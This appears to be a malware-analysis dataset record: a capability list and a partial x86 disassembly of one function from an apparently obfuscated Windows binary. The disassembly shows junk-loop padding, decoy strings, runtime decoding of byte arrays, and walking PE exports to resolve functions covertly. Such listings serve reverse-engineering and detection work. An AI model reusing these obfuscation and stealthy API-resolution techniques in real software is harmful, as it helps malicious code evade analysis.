Function at 0x40ed9b
Capabilities:
Authenticate hmac
Create pipe
Get graphical window text
Parse pe header
Resolve function by parsing pe exports
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4bd80b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x718
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
cmp dword [ebp + 0x10], 0
jbe 0x40ede2
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x40ede2
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.0040d8ff
pop ecx
pop ecx
jmp 0x412231
cmp dword [ebp + 0x10], 0
jne 0x40ffaa
mov dword [ebp - 0x298], 0x6ad4
mov dword [ebp - 0x3dc], str.mxn_iwov_xzlpgbp_rjo_dkyzkctxp_iyvkto_ccw_rtxpjihi_ezywmw_wlysrblw_kuxke_vxaz_yyrnqq_dzw
cmp dword [ebp - 0x298], 0x6b7e
jle 0x40eeb6
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
and dword [ebp - 0x214], 0
jmp 0x40ee36
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0x427e
jge 0x40eeb6
and dword [ebp - 0x128], 0
jmp 0x40ee58
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0x42aa
jge 0x40eeb1
mov eax, dword [ebp - 0x214]
add eax, dword [ebp - 0x128]
cdq
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x418], edx
push dword [ebp - 0x418]
push dword [ebp - 0x41c]
lea ecx, [ebp - 0x620]
call fcn.004057cc
pop ecx
pop ecx
mov ecx, eax
call fcn.0040325e
push eax
call fcn.00491288
pop ecx
lea ecx, [ebp - 0x620]
call fcn.0040304b
jmp 0x40ee4b
jmp 0x40ee29
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.004058f1
mov dword [ebp - 0x74], eax
and dword [ebp - 4], 0
cmp dword [ebp - 0x298], 0x6739
jge 0x40eee0
push dword [ebp - 0x3dc]
call fcn.00491288
pop ecx
jmp 0x40eefc
or dword [ebp - 4], 0xffffffff
jmp 0x40ef06
mov dword [ebp - 0x31c], 0x6fce
mov dword [ebp - 0x478], str.ogos_ftejqh_psiko_zecvu_sbnm_avrq_hguldgi_yppsitfig_xgcsrb_qheuecmz_rfuod_fwodycmo
cmp dword [ebp - 0x31c], 0x7325
jle 0x40f018
push 0
push 0x2166
push 0
push 0
push 0xc72
push 0x65c
push 0xd3d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtTextOutA]
and dword [ebp - 0x58], 0
jmp 0x40ef65
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0x6cf0
jge 0x40f018
and dword [ebp - 0x50], 0
jmp 0x40ef7f
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0x3b71
jge 0x40f013
and dword [ebp - 0x1a8], 0
jmp 0x40efa2
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 0x5ad5
jge 0x40f00e
and dword [ebp - 0x140], 0
jmp 0x40efc4
mov eax, dword [ebp - 0x140]
inc eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0xba0
jge 0x40f00c
mov eax, dword [ebp - 0x50]
cdq
idiv dword [ebp - 0x1a8]
mov eax, dword [ebp - 0x58]
mov ecx, edx
sar eax, cl
and eax, dword [ebp - 0x140]
cdq
mov dword [ebp - 0x4c0], eax
mov dword [ebp - 0x4bc], edx
push dword [ebp - 0x4bc]
push dword [ebp - 0x4c0]
mov ecx, 0xabcc58
call fcn.0042b8cd
jmp 0x40efb7
jmp 0x40ef95
jmp 0x40ef78
jmp 0x40ef5e
mov dword [ebp - 4], 2
cmp dword [ebp - 0x31c], 0x6d67
jge 0x40f03b
mov edx, dword [ebp - 0x478]
mov ecx, 0xabcc58
call fcn.0042d10d
jmp 0x40f057
or dword [ebp - 4], 0xffffffff
jmp 0x40f061
cmp dword [0xac00c8], 0
jne 0x40fe08
mov dword [ebp - 0x4e8], 0x5219
lea eax, [ebp - 0x4e8]
push eax
call fcn.0040d633
pop ecx
mov dword [ebp - 0x300], eax
mov byte [ebp - 0x268], 0
mov byte [ebp - 0x267], 0x48
mov byte [ebp - 0x266], 0x17
mov byte [ebp - 0x265], 0xa4
mov byte [ebp - 0x264], 0xce
mov byte [ebp - 0x263], 0xc
mov byte [ebp - 0x262], 0xcf
mov byte [ebp - 0x261], 2
mov byte [ebp - 0x260], 0x21
mov byte [ebp - 0x25f], 0xf
mov byte [ebp - 0x25e], 0x17
mov byte [ebp - 0x25d], 0x79
mov byte [ebp - 0x25c], 0x16
mov byte [ebp - 0x25b], 0x64
mov byte [ebp - 0x25a], 0xbe
mov byte [ebp - 0x259], 0xd0
mov byte [ebp - 0x258], 0x67
mov byte [ebp - 0x257], 0xac
mov byte [ebp - 0x256], 0x72
mov byte [ebp - 0x255], 0x54
mov byte [ebp - 0x254], 0x40
mov byte [ebp - 0x253], 0x37
mov byte [ebp - 0x252], 0xd0
mov byte [ebp - 0x251], 0x7a
mov byte [ebp - 0x250], 0x4e
mov byte [ebp - 0x24f], 9
mov byte [ebp - 0x24e], 0x71
mov byte [ebp - 0x24d], 6
mov byte [ebp - 0x24c], 0x78
mov byte [ebp - 0x24b], 2
mov byte [ebp - 0x24a], 0x7b
mov byte [ebp - 0x249], 0xb
mov byte [ebp - 0x248], 0x81
mov byte [ebp - 0x247], 3
mov byte [ebp - 0x246], 0x61
mov byte [ebp - 0x245], 0xc
mov byte [ebp - 0x244], 0x64
mov byte [ebp - 0x243], 4
mov byte [ebp - 0x242], 0x74
mov byte [ebp - 0x241], 0xa
mov byte [ebp - 0x240], 0x56
mov byte [ebp - 0x23f], 8
mov byte [ebp - 0x23e], 0x82
mov byte [ebp - 0x23d], 7
mov byte [ebp - 0x23c], 0x7e
mov byte [ebp - 0x23b], 1
mov byte [ebp - 0x23a], 0x7c
mov byte [ebp - 0x239], 5
mov byte [ebp - 0x238], 0x8b
mov dword [ebp - 0x314], 0x1ab8
mov dword [ebp - 0x334], str.nsxckd_ldew_wntcxkevt_cst_zdnivz_udc_palfikb_lfa_prgfsgj_prqzbyl_edsb_xrn_xowt
cmp dword [ebp - 0x314], 0x1db3
jle 0x40f289
and dword [ebp - 0x68], 0
jmp 0x40f213
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0x718a
jge 0x40f289
and dword [ebp - 0x60], 0
jmp 0x40f229
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0x1150
jge 0x40f287
and dword [ebp - 0x1e0], 0
jmp 0x40f248
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 0x1a6f
jge 0x40f285
mov eax, dword [ebp - 0x60]
and eax, dword [ebp - 0x1e0]
or eax, dword [ebp - 0x68]
cdq
mov dword [ebp - 0x428], eax
mov dword [ebp - 0x424], edx
push dword [ebp - 0x424]
push dword [ebp - 0x428]
mov ecx, 0xabcc58
call fcn.0042b8cd
jmp 0x40f23b
jmp 0x40f222
jmp 0x40f20c
and dword [ebp - 0x14], 0
and dword [ebp - 0x324], 0
jmp 0x40f29e
mov eax, dword [ebp - 0x14]
inc eax
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x31
jae 0x40f3fc
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x268]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x14], eax
jne 0x40f2d4
mov dword [ebp - 0x324], 0x17
mov eax, dword [ebp - 0x14]
add eax, 0x15
mov dword [ebp - 0x14], eax
jmp 0x40f296
mov eax, dword [ebp - 0x14]
movzx eax, byte [ebp + eax - 0x267]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x324]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0
jge 0x40f30e
mov eax, dword [ebp - 0x1b0]
add eax, 0x100
mov dword [ebp - 0x1b0], eax
jmp 0x40f2f2
mov dword [ebp - 0x2d0], 0x2c09
mov dword [ebp - 0x410], str.sfvaq_pntqcqdx_oazl
cmp dword [ebp - 0x2d0], 0x2cf5
jle 0x40f396
and dword [ebp - 0x148], 0
jmp 0x40f344
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 0x7b5a
jge 0x40f396
and dword [ebp - 0x70], 0
jmp 0x40f35d
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0x61a7
jge 0x40f394
mov eax, dword [ebp - 0x148]
or eax, dword [ebp - 0x70]
cdq
mov dword [ebp - 0x488], eax
mov dword [ebp - 0x484], edx
push dword [ebp - 0x484]
push dword [ebp - 0x488]
mov ecx, 0xabcc58
call fcn.0042b8cd
jmp 0x40f356
jmp 0x40f337
mov eax, dword [ebp - 0x14]
movzx eax, byte [ebp + eax - 0x268]
mov cl, byte [ebp - 0x1b0]
mov byte [ebp + eax - 0x4fc], cl
mov dword [ebp - 4], 4
cmp dword [ebp - 0x2d0], 0x2a95
jge 0x40f3d1
mov edx, dword [ebp - 0x410]
mov ecx, 0xabcc58
call fcn.0042d10d
jmp 0x40f3ed
or dword [ebp - 4], 0xffffffff
jmp 0x40f3f7
jmp 0x40f296
mov dword [ebp - 4], 6
cmp dword [ebp - 0x314], 0x19f8
jge 0x40f41f
mov edx, dword [ebp - 0x334]
mov ecx, 0xabcc58
call fcn.0042d10d
jmp 0x40f43b
or dword [ebp - 4], 0xffffffff
jmp 0x40f445
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0x4fc], 0
lea eax, [ebp - 0x4fc]
push eax
lea ecx, [ebp - 0x6f8]
call fcn.0042ba12
mov edx, dword [ebp - 0x300]
mov ecx, eax
call fcn.004058f1
mov dword [0xac00c8], eax
lea ecx, [ebp - 0x6f8]
call fcn.00403202
mov dword [ebp - 0x280], 0x7d57
mov dword [ebp - 0x4a4], str.aqvthxed_rulwcwy_qkdamq_ablkeezg_syfmklc_ifswz_nlbbury_rrpe_fako_cbhlldff_oyxphzagc_xslkk_xsy
cmp dword [ebp - 0x280], 0x7da1
jle 0x40f54d
and dword [ebp - 0x78], 0
jmp 0x40f4b3
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0x7b1d
jge 0x40f54d
and dword [ebp - 0x150], 0
jmp 0x40f4d6
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0x67a6
jge 0x40f548
and dword [ebp - 0x80], 0
jmp 0x40f4ef
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0xdc3
jge 0x40f546
mov eax, dword [ebp - 0x78]
imul eax, dword [ebp - 0x150]
and eax, dword [ebp - 0x80]
cdq
mov dword [ebp - 0x434], eax
mov dword [ebp - 0x430], edx
push dword [ebp - 0x430]
push dword [ebp - 0x434]
lea ecx, [ebp - 0x728]
call fcn.004057cc
pop ecx
pop ecx
mov ecx, eax
call fcn.0040325e
push eax
call fcn.00491288
pop ecx
lea ecx, [ebp - 0x728]
call fcn.0040304b
jmp 0x40f4e8
jmp 0x40f4c9
jmp 0x40f4ac
and dword [ebp - 0x208], 0
jmp 0x40f563
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0xe
jae 0x40f57c
mov eax, dword [ebp - 0x208]
mov byte [ebp + eax - 0x4fc], 0
jmp 0x40f556
mov dword [ebp - 4], 8
cmp dword [ebp - 0x280], 0x7bfd
jge 0x40f59b
push dword [ebp - 0x4a4]
call fcn.00491288
pop ecx
jmp 0x40f5b7
or dword [ebp - 4], 0xffffffff
jmp 0x40f5c1
mov byte [ebp - 0x234], 8
mov byte [ebp - 0x233], 0x70
mov byte [ebp - 0x232], 0xb
mov byte [ebp - 0x231], 0x76
mov byte [ebp - 0x230], 2
mov byte [ebp - 0x22f], 0x6a
mov byte [ebp - 0x22e], 7
mov byte [ebp - 0x22d], 0x79
mov byte [ebp - 0x22c], 5
mov byte [ebp - 0x22b], 0x6e
mov byte [ebp - 0x22a], 0xc
mov byte [ebp - 0x229], 0x7e
mov byte [ebp - 0x228], 6
mov byte [ebp - 0x227], 0x5d
mov byte [ebp - 0x226], 3
mov byte [ebp - 0x225], 0x70
mov byte [ebp - 0x224], 0xd
mov byte [ebp - 0x223], 0x68
mov byte [ebp - 0x222], 4
mov byte [ebp - 0x221], 0xc
mov byte [ebp - 0x220], 0x9a
mov byte [ebp - 0x21f], 0x66
mov byte [ebp - 0x21e], 4
mov byte [ebp - 0x21d], 0x87
mov byte [ebp - 0x21c], 9
mov byte [ebp - 0x21b], 0x78
mov byte [ebp - 0x21a], 0xa
mov byte [ebp - 0x219], 0x7c
mov byte [ebp - 0x218], 0
mov byte [ebp - 0x217], 0x5c
mov byte [ebp - 0x216], 1
mov byte [ebp - 0x215], 0x8d
mov dword [ebp - 0x290], 0x3d00
mov dword [ebp - 0x34c], str.jteg_jszrgpcar_euhzi_eysqcprwp_kkevrvut_uzlvqwi_mhkjjpo_szyebdqip_otrynsv
cmp dword [ebp - 0x290], 0x3fb7
jle 0x40f76d
and dword [ebp - 0x90], 0
jmp 0x40f6db
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0x3b8e
jge 0x40f76d
and dword [ebp - 0x88], 0
jmp 0x40f701
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0x69c8
jge 0x40f768
and dword [ebp - 0x158], 0
jmp 0x40f723
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0x510c
jge 0x40f766
mov eax, dword [ebp - 0x88]
add eax, dword [ebp - 0x158]
xor eax, dword [ebp - 0x90]
cdq
mov dword [ebp - 0x4e4], eax
mov dword [ebp - 0x4e0], edx
push dword [ebp - 0x4e0]
push dword [ebp - 0x4e4]
mov ecx, 0xabcc58
call fcn.0042b8cd
jmp 0x40f716
jmp 0x40f6f4
jmp 0x40f6ce
and dword [ebp - 0x18], 0
and dword [ebp - 0x288], 0
jmp 0x40f782
mov eax, dword [ebp - 0x18]
inc eax
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x20
jae 0x40fabc
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x234]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x18], eax
jne 0x40f93d
mov dword [ebp - 0x288], 4
mov eax, dword [ebp - 0x18]
inc eax
inc eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x310], 0x5989
mov dword [ebp - 0x340], str.pgghvnp_tgrqqqz_xryqpkej_wavyshhkd_gyipf_dtzpy_ksdpdd_kdwk_krao_tqxhu_dajbbn
cmp dword [ebp - 0x310], 0x5cec
jle 0x40f8f3
push 0x203a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetROP2]
and dword [ebp - 0x1b8], 0
jmp 0x40f80c
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0x181f
jge 0x40f8f3
and dword [ebp - 0x98], 0
jmp 0x40f832
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0x4a06
jge 0x40f8ee
and dword [ebp - 0x160], 0
jmp 0x40f858
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 0x5d0b
jge 0x40f8e9
and dword [ebp - 0xa0], 0
jmp 0x40f87e
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0x6005
jge 0x40f8e4
mov eax, dword [ebp - 0x1b8]
imul eax, dword [ebp - 0x98]
add eax, dword [ebp - 0x160]
sub eax, dword [ebp - 0xa0]
cdq
mov dword [ebp - 0x440], eax
mov dword [ebp - 0x43c], edx
push dword [ebp - 0x43c]
push dword [ebp - 0x440]
lea ecx, [ebp - 0x5c0]
call fcn.004057cc
pop ecx
pop ecx
mov ecx, eax
call fcn.0040325e
push eax
call fcn.00491288
pop ecx
lea ecx, [ebp - 0x5c0]
call fcn.0040304b
jmp 0x40f871
jmp 0x40f84b
jmp 0x40f825
jmp 0x40f7ff
jmp 0x40f77a
mov eax, dword [ebp - 0x18]
movzx eax, byte [ebp + eax - 0x233]
sub eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x288]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0
jge 0x40f977
mov eax, dword [ebp - 0x168]
add eax, 0x100
mov dword [ebp - 0x168], eax
jmp 0x40f95b
mov dword [ebp - 0x2d8], 0x4941
mov dword [ebp - 0x460], str.ico_loqzbxdjn_iqozepqz_tjrg_rzeu_tco_nmyyapmgi_ktrmr
cmp dword [ebp - 0x2d8], 0x4cab
jle 0x40fa56
push 0x2160
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PolyPolyline]
and dword [ebp - 0x1e8], 0
jmp 0x40f9ce
mov eax, dword [ebp - 0x1e8]
inc eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 0x6ed2
jge 0x40fa32
and dword [ebp - 0xa8], 0
jmp 0x40f9f0
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0x5839
jge 0x40fa30
mov eax, dword [ebp - 0x1e8]
cdq
idiv dword [ebp - 0xa8]
mov eax, edx
cdq
mov dword [ebp - 0x498], eax
mov dword [ebp - 0x494], edx
push dword [ebp - 0x494]
push dword [ebp - 0x498]
mov ecx, 0xabcc58
call fcn.0042b8cd
jmp 0x40f9e3
jmp 0x40f9c1
push pe_nt_image_headers32
push 0
push 0
push 0
push 0
push 0x248e
push 0x1c85
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindowEx]
mov eax, dword [ebp - 0x18]
movzx eax, byte [ebp + eax - 0x234]
mov cl, byte [ebp - 0x168]
mov byte [ebp + eax - 0x50c], cl
mov dword [ebp - 4], 0xc
cmp dword [ebp - 0x2d8], 0x4634
jge 0x40fa91
mov edx, dword [ebp - 0x460]
mov ecx, 0xabcc58
call fcn.0042d10d
jmp 0x40faad
or dword [ebp - 4], 0xffffffff
jmp 0x40fab7
jmp 0x40f77a
mov dword [ebp - 4], 0xe
cmp dword [ebp - 0x290], 0x3945
jge 0x40fadf
mov edx, dword [ebp - 0x34c]
mov ecx, 0xabcc58
call fcn.0042d10d
jmp 0x40fafb
or dword [ebp - 4], 0xffffffff
jmp 0x40fb05
xor eax, eax
inc eax
imul eax, eax, 0xe
mov byte [ebp + eax - 0x50c], 0
mov dword [ebp - 0x274], 0x1d5e
mov dword [ebp - 0x4ec], str.ejnzrw_eojicig_datcq_wit_imvmqz_zesheyazh_stw_ognkwijlo
cmp dword [ebp - 0x274], 0x20ce
jle 0x40fc29
push 0x15cc
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
and dword [ebp - 0xb0], 0
jmp 0x40fb61
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0x230a
jge 0x40fc29
and dword [ebp - 0x1c0], 0
jmp 0x40fb87
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0x7047
jge 0x40fc24
and dword [ebp - 0xb8], 0
jmp 0x40fbad
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0x7896
jge 0x40fc1f
and dword [ebp - 0x170], 0
jmp 0x40fbcf
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 0x7889
jge 0x40fc1d
mov eax, dword [ebp - 0xb0]
cdq
idiv dword [ebp - 0x1c0]
add edx, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x170]
sar edx, cl
mov eax, edx
cdq
mov dword [ebp - 0x44c], eax
mov dword [ebp - 0x448], edx
push dword [ebp - 0x448]
push dword [ebp - 0x44c]
mov ecx, 0xabcc58
call fcn.0042b8cd
jmp 0x40fbc2
jmp 0x40fba0
jmp 0x40fb7a
jmp 0x40fb54
lea eax, [ebp - 0x50c]
push eax
lea ecx, [ebp - 0x680]
call fcn.0042ba12
mov edx, dword [ebp - 0x300]
mov ecx, eax
call fcn.004058f1
mov dword [0xac022c], eax
lea ecx, [ebp - 0x680]
call fcn.00403202
mov dword [ebp - 4], 0x10
cmp dword [ebp - 0x274], 0x1b0c
jge 0x40fc7b
mov edx, dword [ebp - 0x4ec]
mov ecx, 0xabcc58
call fcn.0042d10d
jmp 0x40fc97
or dword [ebp - 4], 0xffffffff
jmp 0x40fca1
and dword [ebp - 0x178], 0
jmp 0x40fcb7
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 0xf
jae 0x40fe08
mov dword [ebp - 0x2e0], 0x66ff
mov dword [ebp - 0x358], str.tgzc_buhljmq_yzcn_inzm
cmp dword [ebp - 0x2e0], 0x6751
jle 0x40fdb0
and dword [ebp - 0xc8], 0
jmp 0x40fcfe
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0x7a21
jge 0x40fdb0
and dword [ebp - 0xc0], 0
jmp 0x40fd24
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0x3230
jge 0x40fdab
and dword [ebp - 0x200], 0
jmp 0x40fd46
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 0x2a4e
jge 0x40fda6
mov eax, dword [ebp - 0xc0]
imul eax, dword [ebp - 0x200]
or eax, dword [ebp - 0xc8]
cdq
mov dword [ebp - 0x4d0], eax
mov dword [ebp - 0x4cc], edx
push dword [ebp - 0x4cc]
push dword [ebp - 0x4d0]
lea ecx, [ebp - 0x5f0]
call fcn.004057cc
pop ecx
pop ecx
mov ecx, eax
call fcn.0040325e
push eax
call fcn.00491288
pop ecx
lea ecx, [ebp - 0x5f0]
call fcn.0040304b
jmp 0x40fd39
jmp 0x40fd17
jmp 0x40fcf1
mov eax, dword [ebp - 0x178]
mov byte [ebp + eax - 0x50c], 0
mov dword [ebp - 4], 0x12
cmp dword [ebp - 0x2e0], 0x65f3
jge 0x40fddd
push dword [ebp - 0x358]
call fcn.00491288
pop ecx
jmp 0x40fdf9
or dword [ebp - 4], 0xffffffff
jmp 0x40fe03
jmp 0x40fcaa
mov eax, dword [0xac00c8]
cmp eax, dword [ebp - 0x74]
je 0x40fe20
mov eax, dword [0xac022c]
cmp eax, dword [ebp - 0x74]
jne 0x40ffaa
mov dword [ebp - 0x2a0], 0x6b28
mov dword [ebp - 0x468], str.ennipsw_cmrkn_xmyjrpnau
cmp dword [ebp - 0x2a0], 0x6ba2
jle 0x40ff4d
push 0
call dword [sym.imp.USER32.dll_IsRectEmpty]
and dword [ebp - 0xd0], 0
jmp 0x40fe62
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0x6321
jge 0x40ff4d
and dword [ebp - 0x1c8], 0
jmp 0x40fe88
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 0x2f7d
jge 0x40ff48
and dword [ebp - 0xd8], 0
jmp 0x40feae
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0x31a2
jge 0x40ff43
and dword [ebp - 0x180], 0
jmp 0x40fed4
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 0x9f4
jge 0x40ff3e
mov eax, dword [ebp - 0xd0]
cdq
idiv dword [ebp - 0x1c8]
add edx, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0x180]
shl edx, cl
mov eax, edx
cdq
mov dword [ebp - 0x458], eax
mov dword [ebp - 0x454], edx
push dword [ebp - 0x454]
push dword [ebp - 0x458]
lea ecx, [ebp - 0x6e0]
call fcn.004057cc
pop ecx
pop ecx
mov ecx, eax
call fcn.0040325e
push eax
call fcn.00491288
pop ecx
lea ecx, [ebp - 0x6e0]
call fcn.0040304b
jmp 0x40fec7
jmp 0x40fea1
jmp 0x40fe7b
jmp 0x40fe55
mov ecx, dword [ebp + 0xc]
call fcn.0040325e
push eax
push dword [ebp + 8]
call fcn.0040d8ff
pop ecx
pop ecx
jmp 0x412231
mov dword [ebp - 0x320], 0x6201
mov dword [ebp - 0x364], str.esfxtha_xlqwmhl_ozxynmq_uyvaphf_lflhmp_lewzfa
cmp dword [ebp - 0x320], 0x64fc
jle 0x4100ce
and dword [ebp - 0xe0], 0
jmp 0x40ffe4
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0x6ea1
jge 0x4100ce
and dword [ebp - 0x1f0], 0
jmp 0x41000a
mov eax, dword [ebp - 0x1f0]
inc eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 0xa2
jge 0x4100c9
and dword [ebp - 0xe8], 0
jmp 0x410030
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0x2504
jge 0x4100c4
and dword [ebp - 0x188], 0
jmp 0x410056
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0x361f
jge 0x4100bf
mov eax, dword [ebp - 0xe0]
sub eax, dword [ebp - 0x1f0]
mov edx, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0x188]
sar edx, cl
or eax, edx
cdq
mov dword [ebp - 0x330], eax
mov dword [ebp - 0x32c], edx
push dword [ebp - 0x32c]
push dword [ebp - 0x330]
lea ecx, [ebp - 0x590]
call fcn.004057cc
pop ecx
pop ecx
mov ecx, eax
call fcn.0040325e
push eax
call fcn.00491288
pop ecx
lea ecx, [ebp - 0x590]
call fcn.0040304b
jmp 0x410049
jmp 0x410023
jmp 0x40fffd
jmp 0x40ffd7
mov eax, dword [ebp + 8]
mov dword [ebp - 0xf0], eax
mov dword [ebp - 4], 0x16
cmp dword [ebp - 0x320], 0x5eca
jge 0x4100f6
push dword [ebp - 0x364]
call fcn.00491288
pop ecx
jmp 0x410112
or dword [ebp - 4], 0xffffffff
jmp 0x41011c
cmp dword [ebp - 0xf0], 0
je 0x41222f
mov eax, dword [ebp - 0xf0]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x41222f
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0xf0]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x30c], 0x2b2d
mov dword [ebp - 0x474], str.woenmoz_jvbvdpiq_vudfw_talgiwc_vgu_fnn_zyknvu_bstbmt_klqpvrzh_nexgcn_magbvhiqf
cmp dword [ebp - 0x30c], 0x2cb5
jle 0x41021f
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetClipBox]
and dword [ebp - 0x1d0], 0
jmp 0x41019f
mov eax, dword [ebp - 0x1d0]
inc eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 0x3d75
jge 0x41021f
and dword [ebp - 0xf8], 0
jmp 0x4101c1
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0x302d
jge 0x41021a
mov eax, dword [ebp - 0x1d0]
or eax, dword [ebp - 0xf8]
cdq
mov dword [ebp - 0x33c], eax
mov dword [ebp - 0x338], edx
push dword [ebp - 0x338]
push dword [ebp - 0x33c]
lea ecx, [ebp - 0x6b0]
call fcn.004057cc
pop ecx
pop ecx
mov ecx, eax
call fcn.0040325e
push eax
call fcn.00491288
pop ecx
lea ecx, [ebp - 0x6b0]
call fcn.0040304b
jmp 0x4101b4
jmp 0x410192
mov eax, dword [ebp - 0x3c]
cmp dword [eax], 0x4550
jne 0x4121ea
mov eax, dword [ebp - 0x3c]
cmp dword [eax + 0x74], 0
jbe 0x4121ea
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3c]
